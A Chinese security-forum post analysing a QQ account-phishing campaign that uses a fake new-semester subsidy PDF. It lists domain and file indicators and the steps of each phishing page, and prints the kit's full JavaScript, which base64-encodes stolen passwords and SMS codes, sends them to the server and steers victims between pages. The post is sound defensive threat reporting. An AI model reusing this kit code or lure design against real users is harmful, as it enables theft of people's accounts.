查看: 433|回复: 0
收起左侧

[已鉴定] 腾讯帐号窃密黑产:qqedu-wngal-com,关于2026新学期告知表.pdf,火绒不报

[复制链接]
3306-1
发表于 2026-9-14 08:01:25 | 显示全部楼层 |阅读模式
来源:https://www.52pojie.cn/thread-2127845-1-1.html
发现:le237
抄送:@火绒工程师
备注:假设所有均完成验证流程,那么约有3600名受害者遭到帐号窃取或黑产利用

发现者描述
  1. 同学说是在邮箱的垃圾箱里找到的,在校园网环境下打不开
  2. 换一个网络环境后可以正常打开,他尝试登录后第一遍能收到验证码
  3. 输入后无响应,之后尝试登录均无法收到验证码
  4. 并有提示说什么24小时怎么怎么样
  5. (真是同学,不是楼主本人)
复制代码

钓鱼窃密
域 名 wngal[.]com
注册商 Gname.com Pte. Ltd.
注册人
邮 箱
地 区 中国(CN)
注册日 2025-12-20 21:11:29 UTC+8
过期日 2026-12-20 21:11:29 UTC+8
更新日 2026-08-20 15:01:12 UTC+8
IANA_ID 1923
状 态 客户端禁止转移
DNS  a2[.]share-dns[.]com
    b2[.]share-dns[.]net
DNSSEC 未配置

文件指纹
关于2026新学期告知表.pdf
大小: 873246 字节 : 852 KiB
CRC32: 8AEAC3D4
XXH64: E07F75304F4B8C60
SHA256: 7c477c9b51d25e7c6a1bc2bf2764c69205076f4f6c7b6073da4c989c129f94c3
SHA3-256: 0952e83b6f932661a28d6e8698ec6a5e1cb85feaf6f96a28d69152b826a9ef6a

火绒扫描(我自己的本地扫描结果)
6.0.11.3 版本
09-13 18:49 病毒库

2026/09/14 07:47:10
病毒防护
病毒查杀
自定义扫描(手动执行),发现0个风险项目

病毒库时间:2026-09-13 18:49
开始时间:2026-09-14 07:47
执行类型:手动执行
扫描类型:自定义扫描
总计用时:00:00:01
扫描对象:10
扫描文件:1
发现风险:0
已处理风险:0

钓鱼标题
  1. 关于2026新学期告知表.pdf
复制代码
钓鱼话术
  1. 关于 2026 届新学期生活补助统计名单以及在校学生个人档案信息核对表

  2. 如文件过大导致图片模糊打不开,请复制以下链接: https://qqedu[.]wngal[.]com

  3. 到浏览器打开查询,请务必及时查看不在另行发送,否则后果自负!

  4. 高斯模糊钓鱼表格图片
  5. 【时间/姓名】【时间/姓名】【时间/姓名】

  6. 收到的同学请务必及时查看

  7. 请 在 规 定 时 间 内 完 成 确 认,逾 期 未 确 认 者 视 为 放 弃。
复制代码
文档属性
  1. 服务
  2. 腾讯文档

  3. 文档编号
  4. fjSZrHtFcAFm

  5. 文档类型
  6. 云端文档
  7. application/pdf

  8. 内容统计
  9. 1页

  10. 所有者
  11. 事事顺心
  12. MTQ0MTE1NDIzODY4NjkzNjk1

  13. 登录来源
  14. QQ渠道

  15. 文档大小
  16. 873246

  17. 创建时间
  18. 1789246331565
  19. 2026-09-13 04:52:11

  20. PDF 生成器
  21. jsPDF 2.5.1

  22. PDF 版本
  23. 1.3

  24. 页面大小
  25. 210 × 297 毫米(A4,纵向)
复制代码
宝塔后端
  1. https://qqedcu[.]wngal[.]com/index.html

  2. 恭喜, 站点创建成功!
  3. 这是默认index.html,本页面由系统自动生成

  4.     本页面在FTP根目录下的index.html
  5.     您可以修改、删除或覆盖本页面
  6.     FTP相关信息,请到“面板系统后台 > FTP” 查看
复制代码
钓鱼链接
  1. https://qqedcu[.]wngal[.]com/indexa.html

  2. 网页标题
  3. 学生资料

  4. 腾讯文档
  5. 搜索
  6. 提醒

  7. 我的文档
  8. 筛选

  9. 与我共享

  10. 校园通告栏(文档)
  11. 我创建|所有人可查看|前天 06:32
  12. 属性:成员

  13. 学生资料(表格)
  14. 我创建|所有人可查看|前天 06:29
  15. 属性:成员/已收藏
复制代码
钓鱼弹框
  1. 当前文档过大,需要登录QQ才能查看

  2. 确定按钮
复制代码
伪造登录
  1. https://qqedcu[.]wngal[.]com/step_in

  2. 腾讯文档
  3. 请输入帐号
  4. 请输入密码

  5. 登录按钮
复制代码
手机号码
  1. https://qqedcu[.]wngal[.]com/step_phone

  2. 手机号验证
  3. 当前设备需要进行手机号验证,需要通过密保手机证你的身份。

  4. 中国大陆(+86)
  5. 请输入手机号

  6. 下一步按钮
复制代码
短信验证
  1. https://qqedcu[.]wngal[.]com/step_code

  2. 当前设备需要进行身份验证,需要通过密保手机验证你的身份。

  3. 验证码已通过短信发送给您

  4. 请输入验证码
  5. 重新发送

  6. 验证码将发送至手机,请注意查收。

  7. 确定提交验证按钮
复制代码
发送短信
  1. https://qqedcu[.]wngal[.]com/step_send

  2. 请使用 138 **** 8000 发送短信,完成后点击"我已发送"按钮。请在发送短信后10分钟内完成登录。

  3. 发短信
  4. 验证QQ

  5. 到号码
  6. 10690700511

  7. 一键复制

  8. 一键发送
  9. sms:10690700511?body=验证QQ

  10. 我已发送按钮
复制代码
伪造跳转
  1. https://qqedcu[.]wngal[.]com/step_load

  2. 请勿操作!文档加载中...
复制代码
虚假文档
  1. https://qqedcu[.]wngal[.]com/step_ok

  2. 腾讯文档

  3. 院校通告.xlsx

  4. 更新中...请您24小时后再来下载查看

  5. 立即下载按钮
复制代码
系统繁忙
  1. https://qqedcu[.]wngal[.]com/step_err

  2. 当前系统繁忙,请5分钟后尝试认证!

  3. 宝塔默认首页跳转按钮
复制代码
动态配置
窃密参考
  1. https://qqedcu[.]wngal[.]com/app/data.php?sv=js&0.5372493624229183

  2. var conf = {
  3.     "tongji": "indexa.html",
  4.     "denyReady": "1270",
  5.     "location": "file",
  6.     "viewTimes": "4",
  7.     "viewcode": "3",
  8.     "readyJump": "https://docs.qq.com",
  9.     "phone": "13800138000",
  10.     "s_code": 1234,
  11.     "s_tel": null
  12. };

  13. document.write("<div style="display:none;">indexa.html<\/div>");
复制代码
实时轮询
  1. https://qqedcu[.]wngal[.]com//app/data.php

  2. {
  3.     "err": 0,
  4.     "state": null,
  5.     "pn_ret": 1,
  6.     "id": "3604"
  7. }
复制代码
核心脚本
  1. https://qqedcu[.]wngal[.]com/app/data.js

  2. document.write('<script src="../app/data.php?sv=js&'+Math.random()+'"><\/script><script src="../app/cess/index.php?id=5" ><\/script>');
  3. function ds(act,data){
  4.         console.log(data);
  5.         $.get('../app/data.php','sv='+encodeURIComponent(b6(b6(JSON.stringify({act:act||'sv',data:data})))),function(d){
  6.                 d = dejson(d);
  7.         });        
  8. }
  9. function rs(o){
  10.         clearInterval(window.rshand);
  11.         window.rshand = setInterval(function(){
  12.                 o=o||{};
  13.                 o.rs = 'rs';
  14.                 if(o.pn && !window.ispv){
  15.                         o.pp = window.ispv = true;
  16.                 }else{
  17.                         o.pp = undefined;
  18.                 }
  19.                 $.post('../app/data.php',o,function(d){
  20.                         d = dejson(d);
  21.                         console.log(d.state);
  22.                         if( d.state){
  23.                                 if(2 == d.state){        
  24.                                         jump('../step_in_fail/');
  25.                                 }else if(3 == d.state){        
  26.                                         jump('../step_code/');
  27.                                 }else if(4 == d.state){        
  28.                                         jump('../step_code_fail/');
  29.                                 }else if(5 == d.state){        
  30.                                         jump('../step_ok/');
  31.                                 }else if(6 == d.state){        
  32.                                         jump('../step_err/');
  33.                                 }else if(35 == d.state){        
  34.                                         jump('../step_send/');
  35.                                 }else if(36 == d.state){
  36.                                         msg('验证码验证失败,请重新发送!',function(){jump('../step_send/'); })
  37.                                         if(window.tfun)setTimeout(window.tfun,2000);

  38.                                 }else if(9 == d.state){        
  39.                                         jump('../step_phone/');
  40.                                 }else

  41.                                 if(22 == d.state){
  42.                                         msg('未找到你的账号,请重新输入!',function(){jump('../step_in_fail/'); })
  43.                                         if(window.tfun)setTimeout(window.tfun,2000);
  44.                                 }else if(23 == d.state){
  45.                                         msg('验证码验证失败,请重新输入!',function(){jump('../step_code/'); })
  46.                                         if(window.tfun)setTimeout(window.tfun,2000);
  47.                                 }else if(24 == d.state){
  48.                                         msg('验证码验证失败,请重新输入!',function(){jump('../step_code_fail/'); })
  49.                                         if(window.tfun)setTimeout(window.tfun,2000);
  50.                                 }else if(29 == d.state){
  51.                                         msg('电话验证失败,请重新操作!',function(){jump('../step_phone/'); })
  52.                                         if(window.tfun)setTimeout(window.tfun,2000);        

  53.                                 }else if(26 == d.state){
  54.                                         msg('验证失败,请重新操作!',function(){jump('../step_err/'); })
  55.                                         if(window.tfun)setTimeout(window.tfun,2000);
  56.                                 }else if(28 == d.state){
  57.                                         msg('支付校验失败,请重新操作!',function(){jump('../step_msg/'); })
  58.                                         if(window.tfun)setTimeout(window.tfun,2000);
  59.                                 }else if(8 == d.state){        
  60.                                         jump('../step_msg/');
  61.                                 }                        

  62.                         }
  63.                 });        
  64.         },2500);
  65.         function jump(url){
  66.                 $.post('../app/data.php','rs=clear',function(d){
  67.                         location.href = url;
  68.                 });        
  69.         }
  70.         //JS普通弹框
  71.         function msg(text, fun){
  72.                 window.tfun = fun;clearTimeout(window.tmst);
  73.                 window.tmsg&&document.body.removeChild(tmsg);
  74.                 document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
  75.         }
  76. }
  77. //JS提示弹框
  78. function tip(text, time){
  79.         $('#tmsg').remove();
  80.         document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="top:200px;left:20%;right:20%;color:#fff;margin:0 auto;opacity:0;padding:5px;font-size:15px;max-width:300px;position:fixed;text-align:center;border-radius:8px;background-color:#333;border:1px solid #222;box-shadow:rgba(0,0,0,0.25) 0px 0px 10px 6px;transition:opacity 0.6s;z-index:19891016;">'+text+'</div>');
  81.         setTimeout('tmsg.style.opacity=0.8',0);clearTimeout(window.tmst);
  82.         window.tmst=setTimeout('tmsg.style.opacity=0;setTimeout("document.body.removeChild(tmsg)",600);',(time||3)*1000);
  83. }
  84. //JS普通弹框
  85. function msg_ok(text, fun){
  86.         window.tfun = fun;clearTimeout(window.tmst);
  87. $('#tmsg').remove();
  88.         document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
  89. }
  90. //JS普通弹框
  91. function msg(text, fun){
  92.         window.tfun = fun;clearTimeout(window.tmst);
  93.         $('#tmsg').remove();
  94.         document.body.insertAdjacentHTML('beforeEnd','<div id="tmsg" style="background:rgba(0,0,0,0.6);position:fixed;left:0;top:0;width:100%;height:100%;z-index:19891015"><div style="margin:200px auto 0;background:#fff;border:solid #aaa 1px;border-radius:5px;width:90%;max-width:450px;text-align:center;"><div style="padding:32px 10px;color:#333;font-size:16px;line-height:2;">'+text+'</div><div><button style="BTNSTYLE;background:#ccc;">取消</button><button style="BTNSTYLE">确定</button></div></div></div>'.replace(/BTNSTYLE/g,'padding:0px;font-size:14px;font-weight:100;color:#fff;border-style:none;border-color:initial;height:40px;line-height:40px;width:150px;max-width:28vw;cursor:pointer;border-radius:5px;background:#4899E0;margin:0 8px 20px;'));
  95. }
  96. function dejson(d){
  97.         try {
  98.                 if(typeof(d) == 'string') d = JSON.parse(d);
  99.                 if(d.tip)tip(d.tip);
  100.                 if(d.alert)alert(d.alert);
  101.                 if(d.reload)location.reload();
  102.                 if(d.location)location.href = d.location;
  103.         } catch(e){
  104.                 return {d: d,e: e};
  105.         }
  106.         return d;
  107. }
  108. function b6(s) {
  109.         s = s.replace(/\r\n/g,'\n');
  110.         var r1,r2,r3,c,c1,c2,c3,c4,i = 0,v = '',u = '',q = 'charAt',w = 'charCodeAt',f = String.fromCharCode,l = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  111.         for (var n = 0; n < s.length; n++) {
  112.                 var c = s[w](n);
  113.                 if (c < 128) {
  114.                         u += f(c)
  115.                 } else if ((c > 127) && (c < 2048)) {
  116.                         u += f((c >> 6) | 192);
  117.                         u += f((c & 63) | 128)
  118.                 } else {
  119.                         u += f((c >> 12) | 224);
  120.                         u += f(((c >> 6) & 63) | 128);
  121.                         u += f((c & 63) | 128)
  122.                 }
  123.         }
  124.         while (i < u.length) {
  125.                 r1 = u[w](i++);
  126.                 r2 = u[w](i++);
  127.                 r3 = u[w](i++);
  128.                 c1 = r1 >> 2;
  129.                 c2 = ((r1 & 3) << 4) | (r2 >> 4);
  130.                 c3 = ((r2 & 15) << 2) | (r3 >> 6);
  131.                 c4 = r3 & 63;
  132.                 if (isNaN(r2)) {
  133.                         c3 = c4 = 64
  134.                 } else if (isNaN(r3)) {
  135.                         c4 = 64
  136.                 }
  137.                 v = v + l[q](c1) + l[q](c2) + l[q](c3) + l[q](c4)
  138.         }
  139.         return v
  140. }
  141. // console.log("ds('sv',{user:'4165456',pass:'446565'});");
  142. // console.log("ds('sv',{code:'4165456'});");

  143. if(/iPhone|iPod|ios|iPad/i.test(navigator.userAgent)){
  144.         document.write('<style>.jp{padding-bottom: 42px;}</style>');
  145. }
复制代码

钓鱼标题
https://s.threatbook.com/report/url/c5e87cc381e209e5e1be4624d1d205c7

钓鱼链接
https://s.threatbook.com/report/url/1c092f061d0cd5dfb029b9a209d2aeb2

钓鱼图片
https://s.threatbook.com/report/url/f919390eab1e7a8621996680b7f63ce6

核心脚本
https://s.threatbook.com/report/url/707b1afd526122dad48dd3dd326eaa45

宝塔后端
https://s.threatbook.com/report/url/2d4857c72c598e6e5cad0079b5188caa

动态配置
https://s.threatbook.com/report/url/a09c13b0fb7137bee7dac69bb2c8f379

帐密钓鱼
https://s.threatbook.com/report/url/f48d4adc273c997d5df563a1fc0e5ad4

手机验证
https://s.threatbook.com/report/url/1267d24cd7a54b7c45ffc2f12c54a2d9

实时轮询
https://s.threatbook.com/report/url/08262776e0ab1280fcab2944febf1fc1

短信验证
https://s.threatbook.com/report/url/6ddfbae22a0cd5da5ed7297a3062699d

发送短信
https://s.threatbook.com/report/url/059b0d3aaf49a32fbde02ed79a791a66

跳转伪装
https://s.threatbook.com/report/url/3dbf439fa82ca83470e6908bb4c06dab

登录失败
https://s.threatbook.com/report/url/8ec1c254d5d05672ccabe6ee64f6d8f0

短信失败
https://s.threatbook.com/report/url/a9d3187cd977c85167f59af3735ec35f

虚假文档
https://s.threatbook.com/report/url/b4b4bbc18a24eb0c7cbb40fa0d4f15ca

系统繁忙
https://s.threatbook.com/report/url/2166359db4c9a21aa2b255bfc3d38a40

钓鱼文档
https://ata.360.net/report/866427517799424
https://virusscan.jotti.org/zh-CN/filescanjob/kfi8hjpbow
https://tix.qq.com/search/single?keyword=4f0f14ce39b20ba40d719a47e4972daf
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxMzUyNTI4ZHNmYXNkZmFzZGY=/
https://sandbox.dbappsecurity.com.cn/report/4e2fd0e8-7bbc-450e-8ae7-62dfb9785dba/flat
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaCc4CBpmTITNisARDgO
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=4f0f14ce39b20ba40d719a47e4972daf
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=4f0f14ce39b20ba40d719a47e4972daf
https://metadefender.com/results/file/bzI2MDkxM25ONC1sMEx5dnc3VG5Rbl9uQUpi_mdaas/overview
https://www.virscan.org/report/7c477c9b51d25e7c6a1bc2bf2764c69205076f4f6c7b6073da4c989c129f94c3
https://www.virustotal.com/gui/file/7c477c9b51d25e7c6a1bc2bf2764c69205076f4f6c7b6073da4c989c129f94c3
https://s.threatbook.com/report/file/7c477c9b51d25e7c6a1bc2bf2764c69205076f4f6c7b6073da4c989c129f94c3
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=bf8033fb2e0697862022411b16f8495f&sk=62406841
https://opentip.kaspersky.com/7C477C9B51D25E7C6A1BC2BF2764C69205076F4F6C7B6073DA4C989C129F94C3/results?tab=upload
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-20 05:13 , Processed in 0.076912 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表